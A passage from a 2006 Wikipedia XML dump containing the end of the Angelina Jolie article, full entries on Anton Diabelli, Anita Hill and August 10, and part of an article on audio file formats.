* She has continually denied rumours of an [[incest]]uous relationship with her brother, [[James Haven]].  During her acceptance speech for winning the [[Best Actress in a Supporting Role]] award for ''[[Girl, Interrupted (film)|Girl, Interrupted]]'' during the [[72nd Academy Awards|2000 Academy Awards]], Jolie stated &quot;I'm so in love with my brother right now&quot; which, combined with her affectionate behaviour towards her brother that night, sparked the rumours.  On ''[[Inside the Actor's Studio]]'' she stated that she never had an incestuous relationship with her brother, stating that &quot;the world is a lot sicker than I thought&quot;, in reference to the conclusion everyone jumped to.  Also, in an interview with  ''[[People Magazine]]'' she and her brother stated that, being children of divorcees, they relied on one another and because of that they hold on to each other as a means of emotional support.  Jolie has starred in five student films directed by her brother.
* In October 2005, ''[[The Sun (newspaper)|The Sun]]'' tabloid in [[United Kingdom|Britain]], as well as several American entertainment news programmes reported that Jolie was in the running to appear with her ''Lara Croft: Tomb Raider'' co-star [[Daniel Craig]] in the next [[James Bond]] film, ''[[Casino Royale (2006 film)|Casino Royale]]''. This ultimately proved to be a false report.
* In a December 2001 Rolling Stone interview, Jolie said: &quot;My favorite book [of the year] was [[Loung Ung]]'s First They Killed My Father, about her childhood in Cambodia. I spent some time with her in Cambodia when I was there with [[UNHCR]], and she's wonderful.&quot;  On Loung Ung's website, Jolie is quoted: &quot;I encourage everyone to read this deeply moving and very important book ([[Lucky Child]]). Equal to the strength of the book, is the woman who wrote it. She is a voice for her people and they are lucky to have her.&quot;
* She hasn't stated definitively whether or not she believes in God or what religion she practices. When asked in an interview with ''The Onion A.V. Club''&lt;!--EDITORS: this publication is authentic and *not* satire, please read: http://www.avclub.com/content/about--&gt; if there was a God, she said &quot;For some people. I hope so, for them. For the people who believe in it, I hope so. There doesn't need to be a God for me. There's something in people that's spiritual, that's godlike. I don't feel like doing things just because people say things, but I also don't really know if it's better to just not believe in anything, either.&quot; She is sometimes thought to be a [[Buddhist]], but Jolie says that she teaches Buddhism to her son Maddox because she considers it part of his culture. She added a tattoo of Buddhist [[Sanskrit]] symbols on her shoulder as a prayer for him.[http://www.usatoday.com/life/2003-07-17-jolie-side_x.htm][http://www.asianconnections.com/a/?article_id=123][http://www.religionfacts.com/celebrities/angelina_jolie.htm][http://jam.canoe.ca/Movies/Artists/J/Jolie_Angelina/2003/10/19/759420.html][http://www.avclub.com/content/node/24504]

==Filmography==
[[Image:Angelina_Jolie_2003.jpg|thumb|right|Anglina Jolie at the commemoration of World Refugee Day in 2003.]]
*''[[Lookin' to Get Out]]'' (1982)
*''[[Cyborg 2]]'' (1993)
*''[[Angela &amp; Viril]]'' (1993) (short subject)
*''[[Alice &amp; Viril]]'' (1993) (short subject)
*''[[Without Evidence]]'' (1995)
*''[[Hackers (movie)|Hackers]]'' (1995)
*''[[Mojave Moon]]'' (1996)
*''[[Love Is All There Is]]'' (1996)
*''[[Foxfire (1996 movie)|Foxfire]]'' (1996)
*''[[Playing God]]'' (1997)
*''[[True Women]]'' (1997)
*''[[Gia]]'' (1998)
*''[[Hell's Kitchen]]'' (1998)
*''[[Playing by Heart]]'' (1998)
*''[[Pushing Tin]]'' (1998)
*''[[The Bone Collector]]'' (1999)
*''[[Girl, Interrupted (film)|Girl, Interrupted]]'' (1999)
*''[[Gone in Sixty Seconds (2000 movie)|Gone in Sixty Seconds]]'' (2000)
*''[[Lara Croft: Tomb Raider]]'' (2001)
*''[[Original Sin (Movie)|Original Sin]]'' (2001)
*''[[Life or Something Like It]]'' (2002)
*''[[Trading Women]]'' (2003) (documentary) (narrator)
*''[[Lara Croft Tomb Raider: The Cradle of Life]]'' (2003)
*''[[Beyond Borders]]'' (2003)
*''[[Taking Lives]]'' (2004)
*''[[Shark Tale]]'' (2004) (voice of Lola)
*''[[Sky Captain and the World of Tomorrow]]'' (2004)
*''[[Alexander (movie)|Alexander]]'' (2004)
*''[[Mr. &amp; Mrs. Smith (2005 film)|Mr. &amp; Mrs. Smith]]'' (2005) 
*''[[The Good Shepherd (film)|The Good Shepherd]]'' (2006)
*''[[Beowulf (2007 film)|Beowulf]]'' (2007) (voice of the Queen of Darkness)

==External links==
{{quote}}
{{Commons|Angelina Jolie}}

* {{imdb name | id=0001401 | name=Angelina Jolie}}
* [http://www.unhcr.ch/cgi-bin/texis/vtx/help?id=3f94ff664 Angelina Jolie, UNHCR Goodwill Ambassador]
* [http://www.elros.altervista.org/ Angelina Jolie's Refugee Journals]
* [http://www.angelinajolie.com/ Angelina Jolie Fansite]
* [http://marriage.about.com/od/entertainmen1/p/bradpitt.htm Brad Pitt and Angelina Jolie Profile]

[[Category:1975 births|Jolie, Angelina]]
[[Category:Adoptive parents|Jolie, Angelina]]
[[Category:American film actors|Jolie, Angelina]]
[[Category:American film producers|Jolie, Angelina]]
[[Category:American voice actors|Jolie, Angelina]]
[[Category:Best Supporting Actress Oscar|Jolie, Angelina]]
[[Category:Bisexual actors|Jolie, Angelina]]
[[Category:English Americans|Jolie, Angelina]]
[[Category:French Americans|Jolie, Angelina]]
[[Category:Humanitarians|Jolie, Angelina]]
[[Category:Living people|Jolie, Angelina]]
[[Category:People from Los Angeles|Jolie, Angelina]]
[[Category:Worst Actress Razzie nominees|Jolie, Angelina]]
[[Category:American models|Jolie, Angelina]]
[[ar:أنجلينا جولي]]
[[bg:Анджелина Джоли]]
[[da:Angelina Jolie]]
[[de:Angelina Jolie]]
[[es:Angelina Jolie]]
[[eo:Angelina JOLIE]]
[[fr:Angelina Jolie]]
[[hr:Angelina Jolie]]
[[it:Angelina Jolie]]
[[he:אנג'לינה ג'ולי]]
[[hu:Angelina Jolie]]
[[nl:Angelina Jolie]]
[[ja:アンジェリーナ・ジョリー]]
[[pl:Angelina Jolie]]
[[pt:Angelina Jolie]]
[[ru:Джоли, Анджелина]]
[[sq:Angelina Jolie]]
[[simple:Angelina Jolie]]
[[sk:Angelina Jolie]]
[[sl:Angelina Jolie]]
[[fi:Angelina Jolie]]
[[sv:Angelina Jolie]]
[[tr:Angelina Jolie]]
[[zh:安吉丽娜·朱莉]]</text>
    </revision>
  </page>
  <page>
    <title>Anton Diabelli</title>
    <id>2313</id>
    <revision>
      <id>39097819</id>
      <timestamp>2006-02-10T18:27:49Z</timestamp>
      <contributor>
        <ip>128.89.68.47</ip>
      </contributor>
      <comment>fixed typo &quot;constitute&quot;</comment>
      <text xml:space="preserve">'''Anton '''(or '''Antonio''')''' Diabelli''' ([[September 6]], [[1781]]-[[April 7]], [[1858]]) was an [[Austria]]n [[music]] publisher, editor and [[composer]]. Best known in his time as a publisher, he is most familiar today as the composer of the [[waltz]] on which [[Ludwig van Beethoven]] wrote his set of thirty-three ''[[Diabelli Variations]]''.

Diabelli was born in [[Mattsee]] near [[Salzburg]]. He was trained to enter the [[priest]]hood, but also took music lessons with [[Michael Haydn]]. He moved to [[Vienna]] to teach the [[piano]] and [[guitar]] before becoming partners with  [[Pietro Cappi]] in 1818 and setting up a music publishing firm with him.

The firm, Cappi &amp; Diabelli (which became Diabelli &amp; Co. in 1824) became well known by [[arrangement|arranging]] popular pieces so they could be played by amateurs at home. The firm became well known in more serious music circles by becoming the first to publish works by [[Franz Schubert]], a composer the firm later championed.

Diabelli produced a modest number of works as a composer, including an [[operetta]] called ''Adam in der Klemme'', a number of [[mass (music)|mass]]es and [[song]]s and a large number of piano and classical guitar pieces. Among these are pieces for four hands (two pianists playing at one piano), which are popular amongst amateur pianists.

Ironically, perhaps, the composition for which Diabelli is now best known was actually written as part of a publishing venture. In 1819, he decided to try to publish a volume of [[variation (music)|variation]]s on a waltz he had penned expressly for this purpose, with one variation by every important Austrian composer living at the time, as well as several significant non-Austrians. Fifty composers responded with pieces, including Schubert, [[Franz Liszt]] and [[Johann Nepomuk Hummel]]. [[Carl Czerny]] was enlisted to write a [[coda (music)|coda]], and they were published as ''[[Vaterländische Künstlerverein]]''.

Beethoven, however, instead of providing just one variation, provided thirty-three, and his were published in a volume of their own in 1824. They constitute what is generally regarded as one of the greatest of Beethoven's piano pieces and as the greatest set of variations of their time, and are generally known simply as the ''[[Diabelli Variations]]''.

Diabelli's publishing house expanded throughout his life, before he retired in 1851, leaving it under the control of [[Carl Anton Spina]]. When Diabelli died in 1858, Spina continued to run the firm, and published much music by [[Johann Strauss II]] and [[Josef Strauss]]. In 1872, the firm was taken over by [[Friedrich Schreiber]], and in 1876 it merged with the firm of [[August Cranz]], who bought the company in 1879 and ran it under his name.

== External links ==
* [http://www.delcamp.net/auteurs/en/3_classique/diabelli_en.html Anton Diabelli: biography and  classical guitar sheet music]

[[Category:1781 births|Diabelli, Anton]]
[[Category:1858 deaths|Diabelli, Anton]]
[[Category:Romantic composers|Diabelli, Anton]]
[[Category:Austrian composers|Diabelli, Anton]]
[[Category:Operetta composers|Diabelli, Anton]]
[[Category:Composers for guitar|Diabelli, Anton]]
[[Category:Composers for piano|Diabelli, Anton]]

[[de:Anton Diabelli]]
[[fr:Anton Diabelli]]
[[ja:アントニオ・ディアベリ]]
[[fi:Anton Diabelli]]</text>
    </revision>
  </page>
  <page>
    <title>Anita Hill</title>
    <id>2314</id>
    <revision>
      <id>41139718</id>
      <timestamp>2006-02-25T07:52:41Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">{{For|other persons with this name|Anita Hill (disambiguation)}}
[[Image:A_Hill.jpg|thumb|Anita Hill]]
'''Anita F. Hill''' (born [[July 30]], [[1956]]) was a colleague of [[Supreme Court of the United States|Supreme Court]] Justice [[Clarence Thomas]] prior to Thomas' appointment to the Supreme Court. Hill became a public figure when she accused Thomas of [[sexual harassment]] and using coarse language during his [[United States Senate|Senate]] confirmation hearing.

Hill was born in [[Lone Tree, Oklahoma|Lone Tree]], [[Oklahoma]]. She received her undergraduate degree from [[Oklahoma State University]] in [[1977]], and her [[Juris Doctor]] degree from [[Yale Law School|Yale University]] in [[1980]]. Upon graduation from law school, she became a practicing lawyer with the [[Washington, D.C.]], firm of Ward, Hardraker, and Ross. In [[1981]], she met Thomas, and became his assistant at the [[United States Department of Education|U.S. Department of Education]]. It was during this period, according to Hill's later testimony, that the alleged sexual harassment took place. When Thomas became chairman of the U.S. [[Equal Employment Opportunity Commission]], Hill followed him to this new job, joining the Commission's legal staff. 

When Thomas was nominated to the Supreme Court in [[1991]], Hill's accusations to the [[Federal Bureau of Investigation|FBI]] that Thomas had used coarse language with her were leaked to the media by Democrats on the [[U.S. Senate Committee on the Judiciary|Senate Judiciary Committee]]. Hill, by then on the law school faculty at the [[University of Oklahoma]], testified before the committee about Thomas's alleged verbal harassment (including a claim that he made a joke about finding a [[pubic hair]] in a can of [[Coca-Cola]]). Thomas made a blanket denial of the accusations, and, after extensive debate, the [[United States Senate|U.S. Senate]] narrowly confirmed Thomas.

[[Category:1956 births|Hill, Anita]]
[[Category:Living people|Hill, Anita]]
[[Category:American lawyers|Hill, Anita]]
[[Category:Women lawyers|Hill, Anita]]
[[Category:African_Americans|Hill, Anita]]</text>
    </revision>
  </page>
  <page>
    <title>August 10</title>
    <id>2315</id>
    <revision>
      <id>41630832</id>
      <timestamp>2006-02-28T17:28:56Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <comment>/* Events */ correction</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=10}}
|}
'''August 10''' is the 222nd day of the year (223rd in [[leap year]]s) in the [[Gregorian Calendar]]. There are 143 days remaining.

The term &quot;the 10th of August&quot; is widely used by historians as a [[shorthand]] for the [[10th of August (French Revolution)|Storming of the Tuileries Palace]] on August 10 [[1792]], the effective end of the [[House of Bourbon|French monarchy]] until it was [[Bourbon Dynasty, Restored|restored]] in [[1814]].

==Events==
*[[612 BC]] - Killing of [[Sinsharishkun]], King of Assyrian Empire. Destruction of [[Nineveh]].
*AD [[955]] - [[Battle of Lechfeld]]: [[Otto I, Holy Roman Emperor]] defeats [[Magyars]],  ending 50 years of [[Magyars|Magyar]] invasion of the West. 
*[[1519]] - [[Ferdinand Magellan]]'s five ships set sail from [[Seville]] to circumnavigate the globe. 
*[[1680]] - [[Pueblo Revolt]] begins in New Mexico.
*[[1792]] - [[French Revolution]]: [[10th of August (French Revolution)|Storming of the Tuileries Palace]]. [[Louis XVI of France]] is arrested and taken into custody.  
*[[1809]] - [[Quito]], now the [[capital]] of [[Ecuador]], declares independence from [[Spain]]. 
*[[1821]] - [[Missouri]] is admitted as the 24th [[U.S. state]]. 
*[[1846]] - The [[Smithsonian Institution]] is chartered by the [[Congress of the United States|U.S. Congress]] after $500,000 was given for such a purpose by scientist [[James Smithson]].  
*[[1856]] - In [[Last Island]], [[Louisiana]], a [[hurricane]] kills about 400 people.  
*[[1861]] - [[American Civil War]]: [[Battle of Wilson's Creek]] - The war enters [[Missouri]] when a band of raw [[Confederate States of America|Confederate]] troops defeat [[United States|Union]] forces in the southwestern part of the state. 
*[[1893]] - At [[Augsburg]], [[Rudolf Diesel]]'s prime model runs on its own power for the first time. Because of this, August 10 is the International [[Biodiesel]] Day.
*[[1905]] - [[Russia|Russian]] and [[Japan|Japanese]] [[Russo-Japanese War|peace]] negotiations begin in [[Portsmouth, New Hampshire|Portsmouth]].
*[[1913]] - [[Balkan Wars|Second Balkan War]] ends: Delegates from [[Bulgaria]], [[Romania]], [[Serbia]], [[Montenegro]], and [[Greece]] sign the [[Treaty of Bucharest, 1913|Treaty of Bucharest]], ending the war.  
*[[1920]] - [[World War I]]: [[Ottoman sultan]] [[Mehmed VI]]'s representatives sign the [[Treaty of Sevres]] which divides up the [[Ottoman Empire]] between the [[Allies]].
*[[1932]] - A 5.1-[[kilogram|kg]] (11.2-pound) chondrite-type [[meteorite]] breaks into at least seven pieces and lands near the town of [[Archie, Missouri|Archie]] in [[Cass County, Missouri]]. 
*[[1944]] - [[World War II]]: American forces defeat the last [[Japan]]ese troops on [[Guam]].  
*[[1948]] - ''[[Candid Camera]]'' makes its [[television]] debut after being on [[radio]] for a year  as [[Candid Microphone]].  
*[[1949]] - US President [[Harry S. Truman]] signs the [[National Security Bill]], streamlining the defense agencies of the [[United States government]], and replacing the [[National Military Establishment]] with the [[United States Department of Defense]]. 
*[[1954]] - At [[Massena, New York]], the groundbreaking ceremony for the [[St. Lawrence Seaway]] is held.  
*[[1969]] - A day after murdering [[Sharon Tate]] and four others, members of [[Charles Manson]]'s cult kill Leno and Rosemary LaBianca.
*[[1971]] - [[Harmon Killebrew]] becomes the 10th member of the [[500 home run club]] with a [[Home run|home run]] at [[Metropolitan Stadium]] in [[Bloomington, Minnesota]]. 
*[[1977]] - In [[Yonkers, New York]], 24-year-old postal employee [[David Berkowitz]] (&quot;Son of Sam&quot;) is arrested for a [[serial killer|series of killings]] in the [[New York City]] area over a year's period. 
*[[1981]] - The head of [[John Walsh]]'s son [[Adam Walsh|Adam]] is found in [[Hollywood, Florida]]. This event will later prompt the [[Congress of the United States|U.S. Congress]] to pass the [[Missing Children's Act]], giving the [[Federal Bureau of Investigation]] greater authority to track the disappearance of children. It also makes Walsh a national spokesman against crime and eventually leads to the establishment of [[America's Most Wanted]].  
*[[1988]] - [[Japanese American Internment]]: US President [[Ronald Reagan]] signs the [[Civil Liberties Act of 1988]], providing $20,000 payments to [[Japanese-American]]s who were either interned or relocated by in the [[United States]] during [[World War II]].
*[[1990]] - The [[Magellan probe|Magellan space probe]] reaches [[Venus (planet)|Venus]].  
*[[1995]] - [[Oklahoma City bombing]]: [[Timothy McVeigh]] and [[Terry Nichols]] are indicted for the bombing. [[Michael Fortier]] pleads guilty in a plea-bargain agreement for his testimony.
*[[2003]] - The highest temperature ever recorded in the [[United Kingdom|UK]], 38.5[[celsius|°C]] (101.3[[Fahrenheit|°F]]), occurs in [[Kent]] [http://www.metoffice.com/climate/uk/2003/]. It is the first time the [[United Kingdom|UK]] has recorded a temperature over 100 degrees [[Fahrenheit]].
*[[2003]] - [[Yuri Ivanovich Malenchenko]] became the first person to marry in space.
*[[2005]] - [[Lee Seung Seop]] dies from exhaustion in South Korea after [[StarCraft#Trivia|playing 49 straight hours of Starcraft]].

==Births==
*[[1267]] - King [[James II of Aragon]] (d. [[1327]])
*[[1296]] - [[John I, Count of Luxemburg]] (d. [[1346]])
*[[1360]] - [[Francesco Zabarella]], Italian jurist (d. [[1417]])
*[[1397]] - [[Albert II of Germany]], [[Holy Roman Emperor]] (d. [[1439]])
*[[1489]] - [[Jacob Sturm von Sturmeck]], German statesman and reformer (d. [[1553]])
*[[1520]] - [[Madeleine de Valois]], queen of [[James V of Scotland]] (d. [[1537]])
*[[1560]] - [[Hieronymus Praetorius]], German composer (d. [[1629]])
*[[1645]] - [[Eusebio Kino]], Italian Catholic missionary (d. [[1711]])
*[[1821]] - [[Jay Cooke]], American financier (d. [[1905]])
*[[1839]] - [[Aleksandr Grigorievich Stoletov]], Russian physicist (d. [[1896]])
*[[1845]] - [[Abai Kunanbaev]], Kazak poet (d. [[1904]])
*[[1869]] - [[Laurence Binyon]], British poet (d. [[1943]])
*[[1872]] - [[Bill Johnson (jazz musician)|Bill Johnson]], American musician (d. [[1972]])
*[[1874]] - [[Herbert Hoover]], [[President of the United States]] (d. [[1964]])
*[[1877]] - [[Frank Marshall]], American chess player (d. [[1944]])
*[[1878]] - [[Alfred Döblin]], German writer (d. [[1957]])
*[[1880]] - [[Robert L. Thornton]], American businessman, philanthropist, and Mayor of Dallas, Texas (d. [[1964]])
*[[1884]] - [[Panait Istrati]], Romanian writer (d. [[1935]])
*[[1890]] - [[Angus L. MacDonald]], Canadian politician (d. [[1954]])
*[[1898]] - [[Jack Haley]], American actor (d. [[1979]])
*[[1900]] - [[Arthur Espie Porritt]], New Zealand politician and athlete (d. [[1994]]) 
*[[1902]] - [[Norma Shearer]], Canadian actress (d. [[1983]])
*  1902   - [[Curt Siodmak]], German-born author (d. [[2000]])
*  1902   - [[Arne Tiselius]], Swedish chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1971]])
*[[1905]] - [[Era Bell Thompson]], American journalist (d. [[1986]])
*[[1909]] - [[Leo Fender]], American luthier (d. [[1991]])
*[[1912]] - [[Jorge Amado]], Brazilian novelist (d. [[2001]])
*[[1913]] - [[Wolfgang Paul]], German physicist, [[Nobel Prize]] laureate (d. [[1993]])
*[[1914]] - [[Jeff Corey]], American actor (d. [[2002]])
*[[1923]] - [[Rhonda Fleming]], American actress
*[[1927]] - [[Vernon Washington]], American actors (d. [[1988]])
*[[1928]] - [[Jimmy Dean]], American singer
*  1928   - [[Gus Mercurio]], American-born Australian actor
*  1928   - [[Eddie Fisher (singer)|Eddie Fisher]], American singer and actor
*[[1933]] - [[Doyle Brunson]], American poker player
*[[1939]] - [[Kate O'Mara]], British actress
*[[1940]] - [[Bobby Hatfield]], American singer ([[Righteous Brothers]]) (d. [[2003]])
*[[1943]] - [[Ronnie Spector]], American singer ([[Ronettes]])
*[[1945]] - [[Harriet Miers]], [[White House counsel]]
*[[1947]] - [[Ian Anderson (singer and musician)|Ian Anderson]], Scottish musician ([[Jethro Tull (band)|Jethro Tull]])
*[[1947]] - [[Anwar Ibrahim]], Former Deputy Prime Minister of Malaysia
*[[1952]] - [[Daniel Hugh Kelly]], American actor
*[[1959]] - [[Rosanna Arquette]], American model and actress
*[[1960]] - [[Antonio Banderas]], Spanish actor
*[[1962]] - [[William Knight]], American Scientist
*[[1963]] - [[Andrew Sullivan]], English-born journalist 
*[[1965]] - [[Claudia Christian]], American actress
*  1965   - [[Mike Smith (jockey)|Mike Smith]], American jockey
*  1965   - [[John Starks (basketball player)|John Starks]], American basketball player
*[[1967]] - [[Riddick Bowe]], American boxer
*  1967   - [[Mart Sander]], Estonian singer and actor
*[[1971]] - [[Roy Keane]], Irish footballer
*  1971   - [[Mario César Kindelán Mesa]], Cuban amateur boxer
*  1971   - [[Justin Theroux]], American actor
*  1971   - [[Sal Fasano]], American baseball player
*[[1972]] - [[Angie Harmon]], American model and actress
*  1972   - [[Christofer Johnsson]], Swedish heavy metal musician
*[[1973]] - [[Lisa Raymond]], American tennis player
*[[1974]] - [[David Sommeil]], French footballer
*[[1977]] - [[Danny Griffin]], Northern Irish footballer
*[[1980]] - [[Kaysar Ridha]], Reality TV Star
*[[1982]] - [[Devon Aoki]], American model and actress
&lt;!-- Please do not add your own birthday or anyone without a Wikipedia article to this list. Thank you.--&gt;

==Deaths==
*[[612 BC]] - [[Sinsharishkun]], Assyrian king
*[[Anno Domini|AD]] [[258]] - [[Saint Lawrence]], martyr
*[[1535]] - [[Ippolito de' Medici]], ruler of Florence (poisoned) (b. [[1509]])
*[[1633]] - [[Anthony Munday]], English writer (b. [[1553]])
*[[1637]] - [[Johann Gerhard]], German Lutheran leader (b. [[1582]])
*[[1653]] - [[Maarten Tromp]], Dutch admiral (b. [[1598]])
*[[1655]] - [[Alonso de la Cueva]], Spanish cardinal and diplomat (b. [[1572]])
*[[1723]] - [[Guillaume Dubois]], French cardinal and statesman (b. [[1656]])
*[[1759]] - King [[Ferdinand VI of Spain]] (b. [[1713]])
*[[1784]] - [[Allan Ramsay (1713-1784)|Allan Ramsay]], Scottish painter (b. [[1713]])
*[[1802]] - [[Franz Aepinus]], German scientist (b. [[1724]])
*[[1806]] - [[Michael Haydn]], Austrian composer (b. [[1737]])
*[[1839]] - [[John St Aubyn]], British fossil collector (b. [[1758]])
*[[1862]] - [[Shusaku Honinbo]], Japanese Go player (b. [[1829]])
*[[1875]] - [[Karl Andree]], German geographer (b. [[1808]])
*[[1896]] - [[Otto Lilienthal]], German aviation pioneer (b. [[1848]])
*[[1945]] - [[Robert Goddard (scientist)|Robert Goddard]], American rocket scientist (b. [[1882]])
*[[1948]] - [[Montague Summers]], English writer (b. [[1880]])
*[[1963]] - [[Estes Kefauver]], U.S. Senator from Tennessee (b. [[1903]])
*[[1976]] - [[Bert Oldfield]], Australian test cricketer (b. [[1894]])
*[[1979]] - [[Walter Gerlach]], German physicist (b. [[1889]])
*[[1980]] - [[Yahya Khan]], [[President of Pakistan]] (b. [[1917]])
*[[1993]] - [[Øystein Aarseth]], Norwegian musician ([[Mayhem (band)|Mayhem]]) (b. [[1968]])
*[[1997]] - [[Conlon Nancarrow]], American composer (b. [[1912]])
*[[2002]] - [[Michael Houser]], American guitarist ([[Widespread Panic]]) (b. [[1962]])
*2002 - [[Kristen Nygaard]], Norwegian computer scientist (b. [[1926]])
*[[2003]] - [[Carmita Jiménez]], Puerto Rican singer
*[[2005]] - [[Lee Seung Seop]], Korean gamer

==Holidays and observances==
*[[Roman festivals]] - [[Opalia]], festival in honor of [[Ops]]
*Ancient [[Latvia]] - [[Labrenca Diena]] held

* [[Independence Day]] in [[Public holidays in Ecuador|Ecuador]] -- Movement began in [[Quito]] in [[1809]]. Independence not achieved till May 1822.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/10 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050810.html ''The New York Times'': On This Day]

----

[[August 9]] - [[August 11]] - [[July 10]] - [[September 10]] -- [[List of historical anniversaries|listing of all days]]

{{months}}

[[ilo:Agosto 10]]

[[af:10 Augustus]]
[[ar:10 أغسطس]]
[[an:10 d'agosto]]
[[ast:10 d'agostu]]
[[bg:10 август]]
[[be:10 жніўня]]
[[bs:10. avgust]]
[[ca:10 d'agost]]
[[ceb:Agosto 10]]
[[cv:Çурла, 10]]
[[co:10 d'aostu]]
[[cs:10. srpen]]
[[cy:10 Awst]]
[[da:10. august]]
[[de:10. August]]
[[et:10. august]]
[[el:10 Αυγούστου]]
[[es:10 de agosto]]
[[eo:10-a de aŭgusto]]
[[eu:Abuztuaren 10]]
[[fo:10. august]]
[[fr:10 août]]
[[fy:10 augustus]]
[[ga:10 Lúnasa]]
[[gl:10 de agosto]]
[[ko:8월 10일]]
[[hr:10. kolovoza]]
[[io:10 di agosto]]
[[id:10 Agustus]]
[[ia:10 de augusto]]
[[ie:10 august]]
[[is:10. ágúst]]
[[it:10 agosto]]
[[he:10 באוגוסט]]
[[jv:10 Agustus]]
[[ka:10 აგვისტო]]
[[csb:10 zélnika]]
[[ku:10'ê gelawêjê]]
[[lt:Rugpjūčio 10]]
[[lb:10. August]]
[[li:10 augustus]]
[[hu:Augusztus 10]]
[[mk:10 август]]
[[ms:10 Ogos]]
[[nap:10 'e aùsto]]
[[nl:10 augustus]]
[[ja:8月10日]]
[[no:10. august]]
[[nn:10. august]]
[[oc:10 d'agost]]
[[pl:10 sierpnia]]
[[pt:10 de Agosto]]
[[ro:10 august]]
[[ru:10 августа]]
[[sq:10 Gusht]]
[[scn:10 di austu]]
[[simple:August 10]]
[[sk:10. august]]
[[sl:10. avgust]]
[[sr:10. август]]
[[fi:10. elokuuta]]
[[sv:10 augusti]]
[[tl:Agosto 10]]
[[tt:10. August]]
[[te:ఆగష్టు 10]]
[[th:10 สิงหาคม]]
[[vi:10 tháng 8]]
[[tr:10 Ağustos]]
[[uk:10 серпня]]
[[wa:10 d' awousse]]
[[war:Agosto 10]]
[[zh:8月10日]]
[[pam:Agostu 10]]</text>
    </revision>
  </page>
  <page>
    <title>Audio file format</title>
    <id>2316</id>
    <revision>
      <id>38985203</id>
      <timestamp>2006-02-09T23:14:42Z</timestamp>
      <contributor>
        <username>Samuella</username>
        <id>190760</id>
      </contributor>
      <minor />
      <comment>Vorbis clarification</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

An '''audio file format''' is a [[container format]] for storing [[Sound|audio]] data on a [[computer]] system.  There are many file formats for storing audio files.

The general approach towards storing digital audio formats is to [[sample (signal)|sample]] the audio voltage (corresponding to a certain position in the membrane of a speaker) in regular intervals (e.g. 44,100 times per second for [[CDDA]] or 48,000 or 96,000 times per second for [[DVD]] video) and store the value with a certain resolution (e.g. 16 bits per sample in CDDA). Therefore [[sample rate]], [[resolution]] and number of channels (e.g. 2 for stereo) are key parameters in audio file formats.

It is important to distinguish between a [[file format]] and a [[codec]]. Even though most audio file formats support only one [[audio codec]], a file format may support multiple codecs, as [[AVI]] does.

There are three major groups of audio file formats:

* uncompressed formats, such as [[WAV]], [[AIFF]] and [[Au file format|AU]].
* formats with [[lossless data compression|lossless]] compression, such as [[FLAC]], [[Monkey's Audio]] ([[filename extension]] APE), [[WavPack]], [[SHN|Shorten]], [[TTA]], [[Apple Lossless]] and lossless [[Windows Media Audio]] (WMA).
* formats with [[lossy data compression|lossy]] compression, such as [[MP3]], [[Vorbis]] (filename extension OGG), lossy [[Windows Media Audio]] (WMA) and [[Advanced Audio Coding|AAC]].

Lossy file formats are based on [[psychoacoustic model]]s that leave out sounds that humans cannot or can hardly hear, e.g. a low volume sound after a big volume sound. [[MP3]] is such an example.

Lossless audio formats (such as [[TTA]]) provide compression about 2:1, but no data/quality is lost in the compression - when uncompressed, the data will be identical to the original. Lossless audio codecs are a good choice to keep the music's original quality. For example, using the free [[TTA]] lossless audio codec you can store up to 20 audio CDs from your music collection on one single DVD-R for playback.

As of [[2002]], one of the most popular audio file formats was [[MP3]], which uses the [[MPEG-1]] audio layer 3 codec to provide acceptable lossy compression for music files. The compression is about 10:1 compared with uncompressed WAV files (in a standard compression scheme), therefore a [[CD]] with MP3 files can store about 10 hours of music, compared to one hour of the standard [[CDDA]], which uses uncompressed PCM.

There are many newer audio formats and codecs claiming to achieve improved compression and quality over MP3. [[Vorbis]] is an [[software patent|unpatented]], [[free software|free]] codec. Microsoft has its [[Windows Media Audio]] format.

[[Audio data compression#Lossless Compression|Lossless compression]] of sound is not nearly as widely used outside of professional applications, as lossy compression can provide a much greater [[data compression ratio]] with nearly the same [[transparency (data compression)|apparent quality]].

There are many uncompressed data formats, the most popular of them being [[WAV]], which is a flexible file format designed to store multiple types of audio data.  It is a good file format for storing and archiving an original recording, though less so than losslessly compressed formats, for it encodes all sounds, whether complex or absolutely silent, with the same number of bits. The WAV format is based on the [[RIFF]] file format, which is similar to the [[Interchange File Format|IFF]] format.

[[BWF]] (Broadcast Wave Format) is a standard audio format created by the [[European Broadcasting Union]] as a successor to WAV. BWF allows [[metadata]] to be stored in the file. See: European Broadcasting Union: Specification of the Broadcast Wave Format - A format for audio data files in broadcasting. EBU Technical document 3285, July [[1997]]. This format is the primary recording format used in many professional Audio Workstations used in the Television and Film industry. Stand-alone file based multi-track recorders from [http://www.sounddevices.com Sound Devices], [http://www.zaxcom.com Zaxcom], [http://www.hhb.co.uk/hhb/usa/ HHB USA], [http://fostex.com  Fostex], and [http://aaton.com Aaton] all use BWF as their preferred file format for recording multi-track audio files with SMPTE Time Code reference.  This standardized Time Stamp in the Broadcast Wave File allows for easy synchronization with a separate picture element. 

Since the [[1990s]], movie theatres have upgraded their sound systems to [[surround sound]] systems that carry more than two channels. The most popular examples are [[Advanced Audio Coding]] or AAC (used by [[Apple_Computer|Apple]]&amp;nbsp;'s [[iTunes]]) and [[Dolby Digital]], also known as AC-3. Both codecs are copyrighted and encoders/decoders cannot be offered without paying a licence fee. The most popular multi-channel format is called 5.1, with 5 ''normal'' channels (front left, front middle, front right, back left, back right) and a [[subwoofer]] channel to carry low frequencies only (the human ear cannot distinguish where the low frequencies come from).

It is a common misconception that 5.1 Surround sound includes 2 rear speakers.  In fact, a 5.1 setup includes what Dolby call Surround speakers, and are actually placed at the sides of the listener. [http://www.dolby.com/consumer/home_entertainment/roomlayout.html] &amp;nbsp;  
&quot;6.1&quot; setups do however, include a single rear speaker placed at the rear centre, behind the listener - Dolby calls this setup Dolby Digital EX .[http://www.dolby.com/resources/tech_library/index.cfm] &amp;nbsp; 
